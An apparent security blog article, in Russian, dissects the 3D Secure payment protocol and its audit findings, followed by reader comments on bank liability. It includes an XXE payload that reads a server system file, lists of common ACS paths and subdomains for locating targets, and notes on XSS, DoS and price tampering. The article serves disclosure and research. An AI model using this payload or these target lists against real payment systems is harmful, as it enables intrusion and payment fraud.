3D Secure, или что скрывают механизмы безопасности онлайн-платежей


    Электронная коммерция — одна из самых больших и быстро растущих областей, в связи с чем она привлекает внимание как исследователей информационной безопасности, так и злоумышленников. Поэтому хотелось бы разобраться в некоторых аспектах механизмов безопасности, применяемых при проведении онлайн-платежей.


    Один из протоколов, используемых для увеличения безопасности онлайн-платежей — 3D Secure. Это протокол, который был разработан на основе XML в качестве дополнительного уровня безопасности платежей, проводящихся без физического участия карты (card not present payment). VISA создала первую версию этого протокола, но вскоре его начали использовать и другие компании (Master Card, JCB International, AmEx, Мир), впоследствии объединившиеся с VISA в содружество EMV. EMV занимается поддержкой и развитием протокола 3DS.


    Почему протокол 3D Secure называется именно так?


    Полное название этого протокола — Three Domain Secure.
    Первый домен — домен эмитента — это банк, выпустивший используемую карту.
    Второй домен — домен эквайера — это банк и продавец, которому выплачиваются деньги.
    Третий домен — домен совместимости (interoperability domain) — инфраструктура, используемая при оплате картой (кредитной, дебетовой, предоплаченной или другими типами платежных карт) для поддержки протокола 3D Secure. Он включает в себя Интернет, подключаемый модуль продавца (merchant plug-in), сервер контроля доступа (access control server) и других поставщиков программного обеспечения.


    Зачем это нужно?


    3D Secure обеспечивает новый уровень безопасности путем предоставления дополнительной информации.
    Еще одним важным моментом является «перенос ответственности». Это означает, что в случае мошенничества вся ответственность ложится на банк-эмитент. Этот момент является очень важным для продавца (мерчанта), т.к. до появления 3D Secure урегулированием спорных вопросов приходилось заниматься мерчанту.


    Также не стоит забывать о двух важных психологических аспектах: повышении доверия к онлайн-платежам и увеличении конверсии.
    Конверсия может быть увеличена за счет обновлений протокола 3DS, направленных на сокращение взаимодействия с пользователем.


    Версии протокола 3D Secure


    v1.0 - 2001 г -…
    v2.0 - 2014 г - Устарело
    v2.1 - 2017 г
    v2.2 - 2018 г

    В настоящее время большинство платежных сервисов используют версию 1.0.2 при проведении онлайн CNP-платежей, запрашивающих OTP-код.
    Версия 1.0.2 была создана в 2001 году и в ней есть некоторые проблемы.


    На данный момент актуальной версией является v2.2, и EMV планирует, что к концу 2020-го года она будет использоваться везде.


    Как это устроено?


    Image


    Это основная схема, необходимая для понимания всего процесса платежа с использованием механизма 3DS.


    На этом рисунке мы видим все три домена, используемые в протоколе, а также последовательность сообщений между всеми участниками платежной операции.


    Как это работает?


    Главное, что необходимо понять, — это то, что при использовании своей карты (виртуальной или реальной) для онлайн-оплаты, вы сталкиваетесь именно с протоколом 3DS. Поэтому сейчас мы проиллюстрируем все этапы совершения онлайн-платежа.


    PaymentFlow


    1 — Покупатель уже добавил все необходимые ему товары в корзину и нажал кнопку "Оплатить". В этот момент он попадает на страницу MPI-сервиса, где вводит данные своей карты.


    После нажатия кнопки оплаты продавец (MPI) инициализирует старт платежного потока и, согласно протоколу, отправляет CRReq-запрос (Card Range Request). Данный запрос необходим, чтобы найти банк-эмитент вашей карты и получить CRR из домена взаимодействия. Этот запрос нас мало интересует.


    После этого MPI отправляет VeReq (Verification Request). Этот запрос отправляется банку-эмитенту для проверки того, что 3DS для данной карты включен и карту можно использовать для оплаты.


    VeRes (Verification Response) содержит дополнительную информацию для следующего этапа платежа.


    Клиенты не могут видеть эти два типа сообщений.


    2 — MPI создает PaReq (Payment Request) — запрос на оплату. Этот запрос отправляется через редирект в браузере клиента.


    Итогом отправки PaReq становится отображение запроса на ввод OTP-кода.


    3 — Клиент вводит OTP-код и возвращается на сайт продавца. Опять же в процессе этого через редирект от банка-эмитента к MPI передается PaRes (Payment Response), который содержит информацию о статусе проверки.


    А поподробнее?


    CRReq/CRRes для нас не очень важны. А вот VeReq/VeRes рассмотреть нужно.


    <?xml version="1.0" encoding="UTF-8"?>
    <ThreeDSecure>
      <Message id="999">
        <VEReq>
          <version>1.0.2</version>
          <pan>4444333322221111</pan>
          <Merchant>
            <acqBIN>411111</acqBIN>
            <merID>99000001</merID>
            <password>99000001</password>
          </Merchant>
          <Browser>
            <deviceCategory>0</deviceCategory>
            <accept>*/*</accept>
            <userAgent>curl/7.27.0</userAgent>
          </Browser>
        </VEReq>
      </Message>
    </ThreeDSecure>

    В VeReq самым важным параметром является идентификатор сообщения, информация о продавце и PAN карты.


    <?xml version="1.0" encoding="UTF-8"?>
    <ThreeDSecure>
      <Message id="999">
        <VERes>
          <version>1.0.2</version>
          <CH>
            <enrolled>Y</enrolled>
            <acctID>A0fTY+pKUTu/6hcZWZJiAA==</acctID>
          </CH>
          <url>https://dropit.3dsecure.net:9443/PIT/ACS</url>
          <protocol>ThreeDSecure</protocol>
        </VERes>
      </Message>
    </ThreeDSecure>

    VeRes возвращает message id, который необходим, чтобы сопоставить запрос с этим ответом. А status enrolled показывает, что карта поддерживается.
    Однако наиболее важным параметром в данном сообщении является URL-адрес. Этот параметр указывает, где находится ACS сервер эквайера и куда нужно отправить PaReq.


    Pareq


    Браузер клиента, совершающего оплату, может произвести достаточно много редиректов по различным компонентам, участвующим в совершении платежа. Так, в России есть некоторое количество запросов, обрабатывающихся на стороне Национальной Системы Платежных Карт. Но сегодня нас интересует только традиционный этап, описанный в спецификации протокола. А именно этап передачи PaReq.


    URL: https://site.ru/acs/pareq
    
    MD=5ebde4d3-3796-7a4d-5ebd-e4d300003dd0&PaReq=eJxVUstywjAM%2FBUm98QPDDiMcIc2dMoh0AedKb2ljiDpNAFMUgJfXzuFPnzSrjQraWW4aoqPzieafb4pRx4LqNfBUm%2FSvFyPvOfFrS%2B9KwWLzCBGT6hrgwpi3O%2BTNXbydOS96VDocEX9FePaF1IIPwlF6qeoV7Inqeyh9hTcjx9xp%2BDcSNk%2BAQdygVbR6CwpKwWJ3l1PZ0rwQZ9SIGcIBZpppAaSuse7POwC%2BeagTApUy%2FEsmrwE8Xw2WQJpKdCbuqzMUfWFLb4AqM2HyqpqOyTkcDgExabEY3BMyhSbwNRAXB7I70D3tYv2Vq%2FJUzU7Teg8ejjE7xMWn9Z8Hk35fKEtNx4BcRWQJhUqTplklIoOC4c9NuwOgLQ8JIUbRDHK2vW%2BEWxdk%2FG%2F1F8KrO%2FGnuWyywUBNls7v62wZv7EQH5nvrlzlurKGsUGNOwy0ZfhXf5udlkmV7ey98rfmnjpjG6LnGJubeKUslbSASBOhpxvSM7nt9G%2Fb%2FEFnkK9RA%3D%3D&TermUrl=https%3A%2F%shop.ru%2Fgates%2F3ds

    Платежный запрос, содержащий PaReq (метод POST), имеет три параметра:
    1) MD — данные продавца. Он нужен MPI, чтобы сопоставить PaReq и PaRes одной транзакции;
    2) PaReq — параметр этого платежного запроса. Он содержит всю важную информацию о платеже;
    3) TermUrl — URL-адрес, на который клиент будет возвращен в конце процесса аутентификации 3D Secure.


    Параметры TermURL и MD всегда отражаются в ответе на данный запрос. Поэтому могут встречаться имплементации ACS, уязвимые к атакам типа reflected XSS. В процессе аудита различных систем такие сервера были найдены.


    Важный момент №1: ACS сервера обрабатывают все входящие PaReq!


    Что входит в параметр PaReq?
    Вы можете получить его значение, раскодировав PaReq. Это сделать достаточно легко, потому что PaReq — это Xml-> zlib-> base64-> urlencode. Для упрощения работы с этими запросами был написан плагин для burp.


    PaReq


    Теперь мы видим, что из себя на самом деле представляет PaReq, а именно сообщение формата xml. Это сообщение содержит информацию о сумме платежа (purchAmount, amount и currency), некоторую информацию о продавце и MessageId (из VeReq).


    При отправке правильно сформированного PaReq (в большинстве случаев вам не нужен полный набор запросов на оплату — требуется отправить лишь PaReq, содержащий параметры правильного типа и длины), мы получим PaRes — ответ на платеж, подобный следующему:


    PARES


    Первая мысль, которая может прийти в голову веб-исследователю, который видит XML-запрос — это попробовать выполнить XXE. И это правильный путь!


    Но для начала посмотрим на то, что случится, если отправить некорректно сформированный PaReq. Мы получим ошибку! Вот несколько примеров таких ошибок:


    <ThreeDSecure><Message id="poEpShmja0A36YWe0JOyr4Zt"><Error><version>1.0.2</version><errorCode>99</errorCode><errorMessage>Permanent system failure.</errorMessage><errorDetail>Failed to build error message.</errorDetail></Error></Message></ThreeDSecure>
    
    <errorCode>5</errorCode><errorMessage>Format of one or more elements is invalid according to the specification.</errorMessage>
    
    <errorCode>98</errorCode><errorMessage>Transient system failure</errorMessage>
    
    <errorCode>4</errorCode><errorMessage>Critical element not recognized</errorMessage>

    Ошибка может помочь получить дополнительную информацию о версии ACS. Некоторые из них могут также оказаться полезными для получения данных из XXE.


    Раскрутим XXE


    Рассмотрим следующий пример:


    <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ThreeDSecure [<!ENTITY ac SYSTEM "file:///proc/sys/kernel/hostname">]><ThreeDSecure><Message id=“123-123-123-123-123-123"><PAReq><version>1.0.2</version><Merchant><acqBIN>510069</acqBIN><merID>&ac;</merID><name>MerchantName</name><country>643</country><url>http://asdas.as</url></Merchant><Purchase><xid>U3Vic2NyaWJlX0B3ZWJyMGNr</xid><date>20181004 21:34:21</date><amount>202000</amount><purchAmount>202000</purchAmount><currency>643</currency><exponent>2</exponent><desc>AcquirerName</desc></Purchase><CH><acctID>DYasdVQAOX6as3dfcxccwzPCR6Q74eS5</acctID><expiry>2209</expiry></CH></PAReq></Message></ThreeDSecure>

    acqBIN, merID, xid, date, purchAmount и currency отражаются в PaRes. Однако во всех реализациях ACS, которые мы нашли, удалось использовать только merID. Остальные параметры проверяются на соответствие типам данных.


    Еще один интересный параметр (и наиболее полезный для атаки) — это URL. Этот параметр не отражается, но и не проверяется. Поэтому его можно использовать для эксплуатации XXE.


    Вернемся к нашему примеру. В одной из реализаций ACS мы обнаружили, что можем читать короткие файлы, а также получать ответ в PaRes error через параметр merID. Таким образом, используя PaReq из примера выше, мы получали следующий ответ:


    <ThreeDSecure><Message id=" 123-123-123-123-123-123 "><PARes id=" 123-123-123-123-123-123 "><version>1.0.2</version><Merchant><acqBIN>510069</acqBIN>
    <merID>ACS server name</merID>
    </Merchant><Purchase><xid>U3Vic2NyaWJlX0B3ZWJyMGNr</xid><date>20181004 21:34:21</date><purchAmount>202000</purchAmount><currency>643</currency><exponent>2</exponent></Purchase><pan>000000000000000</pan><TX><time>20181004 21:34:21</time><status>U</status></TX><IReq><iReqCode>55</iReqCode><iReqDetail>PAReq.CH.acctID</iReqDetail></IReq></PARes></Message></ThreeDSecure>

    Тем не менее в большинстве случаев оставалось только использовать параметр URL для получения DNS или HTTP-запроса к нашему сервису. Другой вектор — это выполнить DOS через XXE-атаку "billion laughs" (проверялось на тестовом сервере).


    Где это можно найти?


    В ходе нашего исследования мы обнаружили несколько распространенных URL-адресов:


    /acs/pareq/___uid___
    /acspage/cap?RID=14&VAA=B
    /way4acs/pa?id=____id____
    /PaReqVISA.jsp
    /PaReqMC.jsp
    /mdpayacs/pareq
    /acs/auth/start.do

    И распространенные имена поддоменов:


    acs
    3ds
    3ds
    secure
    cap
    payments
    ecm
    3dsauth
    testacs
    card

    Впрочем, иногда вы можете найти и другие интересные пути.
    Если вы хотите найти что-то новое, используйте proxy interceptor и записывайте процесс совершения платежей для интересующей вас платежной системы.


    3D Secure v 2. *


    Как мы писали ранее, в 3DS v1.0 есть некоторые проблемы.


    Основная проблема в том, что покупатель может использовать множество разных типов устройств. Планшет, мобильный телефон, умные часы, умный чайник и т.д. Но сайт ACS не всегда разработан для взаимодействия со всеми типами устройств.


    Devices


    Для этого в 3DS 2.0 предусмотрели 3DS SDK.


    Другая проблема состоит в том, что новый тип защиты требует дополнительного взаимодействия с клиентом. И этот момент влияет на конверсию. Решением проблемы конверсии стала возможность использования механизма управления рисками, который позволяет не заставлять пользователя вводить дополнительные секретные данные, если банк обладает достаточным количеством информации, подтверждающей личность клиента.


    Следующий важный момент заключается в том, что технологии аутентификации развиваются. Соответственно, 3DS могла бы использовать не только OTP. Поэтому v2 задумывалась с возможностью расширения поддержки различных механизмов аутентификации.


    типы аутентификации


    Интересный факт про v1.0. Люди некоторых стран не доверяли этому протоколу, потому что видели редирект и думали, что это мошенничество!


    Этот психологический момент послужил причиной изменения спецификации второй версии протокола для сокрытия момента перенаправления.


    Как работает 3D Secure v2?


    3ds 2


    Начало потока платежей аналогично предыдущей версии. Клиент должен указать данные своей карты.


    Первый и самый важный момент — это Risk Engine. В версии 1.0.2 клиенты всегда должны вводить второй фактор, например OTP. Однако в версии 2. * клиент может никогда не увидеть этот дополнительный защищенный запрос.


    Особенности работы v2


    3ds 2 схема


    Если вы посмотрите на схему потока платежей, вы увидите, что она похожа на предыдущую, но во 2-й версии больше этапов. Это происходит за счет добавления дополнительных аутентификационных запросов и механизма Risck Engine, который может совершать как один дополнительный запрос (при платеже через браузер), так и множество (используется 3DS SDK).


    Условно, 2-ю версию можно разделить на два блока. Красный, где пользователь непосредственно влияет на передаваемую информацию, и желтый, где система сама собирает и передает информацию о пользователе.


    А поподробнее?


    3ds 2


    AReq (base64url) расскажет все о вас и об устройстве, с которого совершена покупка.
    Если вы задумаетесь о том, какой информацией о вас располагают рекламные агентства, то данные AReq вас не удивят. Но если вам кажется, что это плохо, рассмотрите следующий момент: банки знают все о ваших покупках и о вас. С этой точки зрения, некоторая дополнительная информация не так уж и плоха)


    Это сообщение необходимо для работы системы управления рисками и упрощения покупок.
    Если этой информации оказалось недостаточно, Risk Engine сперва попытается получить дополнительную информацию, и именно в этот момент клиент может получить OTP-запрос.


    Что контролирует пользователь?


    CReq (base64url json) — challenge request — сообщение, отправляемое браузером пользователя, в случае если ARes вернет сообщение о необходимости провести Challenge Flow.


    {
    "ThreeDSServerTransID": "8a880dc0-d2d2-4067-bcb1-b08d1690b26e",
    "AcsTransID": "d7c1ee99-9478-44a6-b1f2-391e29c6b340",
    "MessageType": "CReq",
    "MessageVersion": "2.1.0",
    "SdkTransID": "b2385523-a66c-4907-ac3c-91848e8c0067",
    "SdkCounterStoA": "001"
    }
    

    Если платежный процесс использует 3D Secure SDK, это сообщение будет зашифровано (JWE).


    В CReq вы можете увидеть следующие поля:


    параметры creq


    К сожалению, нам пока не удалось провести достаточно подробное исследование 2-й версии протокола 3DS, поэтому сложно сказать, какие уязвимости встречаются чаще. Вы можете стать первым, кто опубликует исследование на данную тему.


    Подведем итоги


    Проблемы (найденные и возможные)


    На что смотреть в v1


    • XXE в параметре Pareq:
      • DOS
      • чтение файла
      • ssrf
    • XSS в параметрах TermUrl
    • Blind XSS — все параметры и заголовки попадают в систему мониторинга
    • Pareq не подписан, но в нем есть цена! Отсюда может последовать атака уже на магазин, т.к. если на стороне магазина не будет проверки суммы подтвержденной операции, то вы сможете совершить покупку вещи стоимостью в 100р за 1р.

    На что смотреть в v2


    • Blind XSS — все параметры и заголовки попадают в систему мониторинга
    • Challenge flow, главное его поймать…

    Тем, кто подумывает обратить свой взгляд на платежные системы, я бы посоветовал остановиться еще и на сервисах, предоставляющих 3DS как SaaS. Там может оказаться еще достаточно много вещей, которые помогут вам понять, как устроен мир онлайн-платежей.


    Полезные ссылки


    https://github.com/w3c/webpayments/wiki
    https://www.EMV.com/emv-technologies/3d-secure/
    https://3dsserver.netcetera.com/3dsserver-saas/doc/current/schema/3ds-api.html
    https://github.com/webr0ck/3D-Secure-audit-cheatsheet


    P.S. Возможно, вам пришел в голову вопрос: "Я пользовался AliExpress, Amazon, другое, и мне не приходил OTP код. Здесь использовался 3DS?" Нет, не использовался. Это как раз примеры тех случаев, когда магазин берет на себя ответственность за мошеннические операции.

    Digital Security
    Безопасность как искусство

    Похожие публикации

    Комментарии 31

      0
      Это как раз примеры тех случаев, когда магазин берет на себя ответственность за мошеннические операции.
      А в каком виде это проявляется?
        +1
        «Магазин принимает риски» — означает, что сам магазин (мерчант) вернет вам деньги.
        В моём примере ваши деньги попадают на банковский счет AliExpress, Amazon, другой_площадки, а не на счет продавца, зарегистрированного на такой площадке. По этому и возврат денег не является большой проблемой
          +2
          А в каком виде это проявляется?

          Если вы напишете заявление в банк о том, что с вас сняли деньги, банк передаст эту претензию по цепочке до магазина. Дальше чем больше факторов аутентификации использовалось магазином — тем сложнее оспорить. Если использовался 3DS — оспорить практически нереально, а если как в Амазоне, требовался только номер/дата/cvc (не помню, Амазон cvc вообще запрашивает?), то такой платеж возвращают без проблем.
          Замечу, что это стандартные требования платежных систем. Банки сейчас впаривают страхование средств, и оно не имеет отношения к стандартным процедурам МПС.
            0

            Интересно, это реально так в РФ? Мне недавно сбербанк настойчиво предлагал подключить "страховку", от случайных списаний. Я отказался. В ответ мне было сказано, что если у меня будет несанкционированное списани, чтобы я обращался в полицич, а не к ним.

              0
              Да, реально, и даже в Сбербанке без «страховки». Как обнаруживаете, звоните на горячую линию, карту блокируют, спрашивают какая последняя легитимная операция была и когда, дальше в офисе вам распечатывают полный список транзакций за N дней и вы отмечаете, какие совершали, какие нет; пишете заявление. Предлагают обратиться в полицию, опять предлагают страховку (бонус: спрашиваете, какие действия при наличии страховки в данном конкретном случае, и получаете ожидаемый ответ — абсолютно такие же)
                0
                Без «страховки» нужно сообщить о несанкционированной тразнакции в течении суток, как прописано в 161-ФЗ.

                Но лучше оценить качество претензионной работы по отзывам до открытия счёта — сейчас прошла волна кидалова от авиакомпаний и хорошие банки возвращали деньги клиентам, а плохие (как минимум Альфа и Сбербанк) задним числом ссылались на постановление правильства и также будут придумывать отмазки при оспаривании других.
            –4

            «Мир» в EMV не входит, если что.
            Не нужно ставить эту локальную систему в один ряд с глобальными платёжными системами.

              +1

              Чем Вас так "прижарило" это упоминание?
              Между прочим, НСПК (МИР) фактически первые запустили этот сервис. И разработка началась еще по очень сырой draft спецификации EMVco. И прилизование последующих версий спеки шло по информации от НСПК. Я даже наверное смогу пальцем ткнуть в то место спеки, где разъяснение добавлено скорее всего по моему вопросу в НСПК.


              И, к слову, НСПК конечно не member (их немного), но https://www.emvco.com/get-involved/associates/ тут есть.


              VISA создала первую версию этого протокола, но вскоре его начали использовать и другие компании (Master Card, JCB International, AmEx, Мир), впоследствии объединившиеся с VISA в содружество EMV. EMV занимается поддержкой и развитием протокола 3DS.

              Хотя в таком контексте не правильно сформулировано. НСПК не использовала принадлежащей Visa протокол (Visa 3DS).
              Да и построение фразы "говорит" что как бы НСПК организовало EMVco в 1993 году.

                0
                В НСПК просто поступили разумно. 3DS со своими особенностями давно уже был и в MasterCard и VISA. Довольно глупо копировать чужое в тот момент когда индустрия естественным образом пришла к решению использовать общий стандарт. Который кстати и есть обобщение опыта. Так что никакого «героизма» НСПК тут нет — чистый бизнес.

                И да кстати если кто не в курсе EMV это от Europay/MasterCard/VISA вот только Europay нет уже лет 20 его сожрал MasterCard…
                  0
                  3DS со своими особенностями давно уже был и в MasterCard и VISA.

                  Естественно, я имел в виду реализацию EMVco спецификации.
                  Героизма не было.
                  Остальные не МПС особо торопились ибо у них и так было. Да и спецификация сырая была…
                  Ну разве что Сhina UP фактически с нуля чиповые и прочие технологии запускало. Но они беззастенчиво на Visa основались (спецификации один к одному цельнотянутые)


                  А НСПК сделалало предложение вендорам, от которого было сложно отказаться. Первые "реализаторы" 3DS могли "отползти" без сертификации для НСПК своего EMV 3DS решения в EMVco.

              +2

              Наверное стоило бы отметить что 3DS EMVco это не продолжение 3DS Visa. В принципе не совместимы.
              Ну и спецификация Visa это проприетарный протокол Visa.
              А 3DS EMVco это открытая спецификация/рекомендация (и, кстати, более "модный" json выбрали).

                0
                Спасибо за уточнение.
                Я пытался указать на то, что изначальная идея принадлежала Visa, а затем началось «совместное развитие».
                Про не совместимость версий. Если я правильно помню то у 2.2 и 2.0 есть проблемы в совместимости.
                  +1

                  Да они негодяи даже в рамках под версий несовместимость задавали. По мелочи. Изменить, например название параметра в протоколе.
                  И корячишься, что бы обеспечить совместимость, порождая залипухи в коде.
                  По мелочи, у них каждый релиз спецификации с предыдущим несовместим был (в код вносить изменения приходилось).

                0
                как-то двоякое чувство осталось, то ли нервничать при платежах в нете, то ли нет
                  0

                  Всегда нервничать

                    +1
                    Что бы меньше нервничать — для начала стоит завести виртуальную карту.
                    +1

                    Немного истории.
                    Где-то в районе 2007...2008-го года столкнулся с тем, что некоторые компании, принимающие оплату картами онлайн, принимали ее только если эмитент поддерживал 3DSecure. У меня, на тот момент, такой карты не было. Банки на сайтах об этом ничего не писали. Обзвон и личные визиты позволили завести такую карту (сейчас этот банк уже не существует). Каково же было мое удивление, когда выяснилось, что никаких OTP там и в помине нет — оплата проходила в режиме bypass — то есть в момент, когда клиент должен подтвердить свою личность, введя OTP, окно сервера эмитента появлялось с кнопкой OK, которая его просто закрывала. Мне эта карта была нужна только для некоторых покупок, так что меня это не очень пугало, но вообще это был бардак. Первой картой с настоящим 3DS (с чеком, содержащим OTP) у меня стала зарплатная карта Сбербанка, когда они таки внедрили эту технологию.

                      +1
                      Вопрос из жизни. Оплатил онлайн курсы на сайте (datacamp — прикольная штука, очень рекомендую, но будьте внимательны). Я особо не вникал была это оплата за один месяц или оформление ежемесячной подписки на неопределенный срок. Визуально это выглядело как первый вариант, а чтобы найти параметры подписки нужно было лезть куда-то вглубь, сходу это просто не заметишь. Но я был абсолютно уверен, что в крайнем случае, через месяц мне придет смс с предложением подтвердить оплату следующего месяца. Я в общем-то не против был оплатить и следующий месяц. Меня удивило, что платеж совершился просто «молча», и через несколько часов пришла смс, что списали деньги.

                      Звоню в банк, мол, интересно почему не потребовалось смс подтверждение и можно ли его как-то подключить, чтобы с моей карты деньги не списывались сами. В банке мне объяснили, что 1) 3D Secure — супер защищенная технология, нет повода переживать о деньгах 2) Нет, смс подтверждение подключить нельзя, у банка такой возможности нет, и если вы хоть раз сделали оплату по этой технологии, то ваша карта условно больше не принадлежит ни вам, ни банку, кто угодно, когда угодно и какие угодно суммы может с неё списывать.

                      Да-да-да, конечно, я могу обратиться к продавцу, могу зайти в свой профиль на сайте, настроить параметры подписки и т.п. Но как бы карту мне выдавал банк, счет открыт в банке, финансовые услуги оказывает банк, всяческие комиссии за свои услуги берет банк, рекламный спам мне шлёт банк, донимает звонками тоже банк. Немного странно, что за опцией «смс подтверждение платежей» я должен обращаться к продавцу, а не банку.

                      Вопрос, для кого это технология безопасная :)

                      UPDATE: Я кажется понял смысл протокола, не внимательно читал статью:
                      Конверсия [для продавца] может быть увеличена за счет обновлений протокола 3DS, направленных на сокращение взаимодействия с пользователем.
                        +2
                        Если позволить вам централизованно контролировать все списания, обязать сервисы каким то образом регистрировать все ваши подписки, чтобы вы их могли видеть в одном месте, то может случится так что вы начнёте некоторые из них отменять заранее. А они не для того протокол создавали чтобы вы им конверсию портили.
                          0

                          Вот поэтому терпеть не могу всякие подписки и автоплатежи...

                            0
                            Не обязательно управлять подписками в одном месте. Хотя бы просто подтверждать платежи через смс. Интересно, 1) это в принципе технически невозможно? 2) людям просто в голову не приходило, что это кому-то может понадобиться, и я единственный во Вселенной, кому захотелось странного? или 3) всё правильно, так и должно, я чего-то не понимаю?..

                            Бесплатная идея для банков. Дайте людям хотя бы выбор. Предложите платную услугу «Подтверждение платежей через смс». В принципе, её даже можно было бы адекватно сделать: настраивать в личном кабинете доверенных получателей, для которых смс не требуется или задавать максимальную сумму, которая может быть списана без подтверждения. Если эта услуга не будет приносить особых денег, то как минимум это отличный повод для пиара, мол, у нас единственный банк в мире, который заботится об удобстве наших клиентов и сохранности их денег, только у нас супер-мега безопасная карта, которой вы можете смело оплачивать покупки в инете.
                              +2

                              мой зарубежный банк предлагает услугу виртуальной карты для онлайн покупок. я ее всегда держу выключенной и только включаю на минуту когда хочу совершить покупку. не было еще сюрпризных списаний, зато иногда приходят емейлы типа: не удалось списать деньги за вашу подписку от всяких хитрых сайтов, которые сохраняют данные карты у себя без спроса

                                +1
                                Пришло в голову и давно. В частности скоро по всему ЕС должна вступить в действие отсроченная директива PSD2, одним из пунктов которой является обязательная аутентификация пользователя вторым фактором (читай: обязательный 3D Secure). Там есть разные исключения, например платежи до 30 Евро, но в целом теперь мерчант не сможет сам решать, использовать ему 3D или нет.
                              +2
                              Это технология безопасная для мерчанта и банка :) мерчанту не придется ничего возвращать, а банку беспокоиться, поддерживать процедуру возврата, тратить рабочее время сотрудников, если оплата была по этой технологии.
                              0

                              Спасибо за статью! Как раз несколько месяцев назад интегрировал этот протокол в процесс оплаты, первую версию полностью, вторую частично, как задел на будущее. То ещё удовольствие, особенно, при (типичном) мнении руководства, что для этого достаточно дня-двух.

                                +1
                                Всегда удивляло, что использовать 3DS или не использовать — решает мерчант, а не пользователь. Я вот хочу, чтобы всегда любое онлайн списание шло через подтверждение с помощью смс-кода. Так спокойнее, я вижу сумму списания и мне не нужно контролировать потенциальные «случайные» расходы. Но это не выгодно банкам, ведь тогда они не смогут впаривать платную услугу смс уведомлений о списании. А ведь услуга смс-информирования как раз и навязывается, чтобы пользователь мог видеть списания и отреагировать, если он платежа не совершал.
                                Такое вот лицемерие. Защищенную систему можно сделать, но не будут, так как тогда нельзя будет стричь дополнительное бабло с запуганного страшилками пользователя.
                                  0
                                  Я вот хочу, чтобы всегда любое онлайн списание шло через подтверждение с помощью смс-кода.

                                  Во второй версии, которая, теоретически, в недалёких перспективах должна заменить первую, процесс может быть полностью прозрачен для покупателя — как будто нет никакого 3DS. В статье это упомянуто:


                                  Первый и самый важный момент — это Risk Engine. В версии 1.0.2 клиенты всегда должны вводить второй фактор, например OTP. Однако в версии 2. * клиент может никогда не увидеть этот дополнительный защищенный запрос.
                                    0
                                    DonStron говорил не про прозрачность, а про то что сам хотел бы выбирать — использовать 3ds или нет. Это кстати не зависит от версии.

                                    В отдельных банках (не скажу точно в каких), клиент и сейчас может выставить параметр — всегда использовать 3ds. Но учтите, что тогда у вас сломается оплата в тех магазинах где нет 3ds.

                                    Про то, кого же защищает 3ds. Пожалуй основная идея его появления заключается как раз в «переносе ответственности» и только как дополнительный момент — подтверждение, что операцию совершает именно владелец карты.
                                      +1
                                      DonStron говорил не про прозрачность, а про то что сам хотел бы выбирать — использовать 3ds или нет. Это кстати не зависит от версии.

                                      Я не телепат, могу опираться только на текст:


                                      Я вот хочу, чтобы всегда любое онлайн списание шло через подтверждение с помощью смс-кода.

                                      Мне трудно понять, как "хочу всегда через смс-код" может значить "пофиг на смс-код". Впрочем, думаю, DonStron сам нам объяснит, что имел в виду, если захочет.


                                      Про то, кого же защищает 3ds.

                                      В случае нашей фирмы — владельцев терминалов оплаты. 3DS это действительно именно об ответственности. Безопасность самого процесса оплаты для покупателя там побоку. Всё сводится к желанию свести к минимуму потери, наносимые фродом — они могут быть огромны.

                                        0
                                        Вы всё верно сказали

                                        На всякий случай подробнее объясню мой предыдущий ответ.
                                        v 1.0.2 — которую сейчас мы везде встречаем — предполагает обязательное введение дополнительного кода (это может быть статический пароль, смс или даже мини пазл). Но если вы не выставили параметр об обязательной верификации платежа (для вашей карточки), то найдутся магазины в которых не будет использоваться 3ds — следовательно вы не получите оповещение (sms или push) о такой оплате.

                                        v 2.* — тут опять всё будет зависеть от банков эмитентов (возможно будет возможность выставить обязательность запроса кода подтверждения) и мерчантов, но скорее всего вы больше ни когда не увидите запрос на ввод OTP кода (или это будет очень редко). Возможно a1111exe подскажет, какова вероятность события получения OTP.

                                        По этому использование 3ds как способ отслеживания платежей — не самый лучший способ.
                                        И как верно отметил a1111exe — мерчант («владелец терминалов оплаты») — заинтересован в использовании данной технологии
                                          +1
                                          Возможно a1111exe подскажет, какова вероятность события получения OTP.

                                          Увы, не могу. Желание мерчанта, разумеется, чтобы эта вероятность стремилась к нулю. Но на момент интеграции в процессы оплаты (где-то в начале июня) вторая версия расценивалась всё ещё как сыроватая для полной имплементации. Плюс, большой клиент, который этого требовал, требовал чтобы оно было готово вчера. Поэтому то, что я реализовал, выглядело, как первый запрос по второй версии — если ответ подразумевал необходимость редиректа, fallback на первую версию, если нет, проводим тразнакцию и сохраняем вместе с параметрами верификации (eci, mid, xid, емнип). Статистику я понаблюдать не успел, т.к. сразу после завершения этого проекта ушёл. :)

                                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                Самое читаемое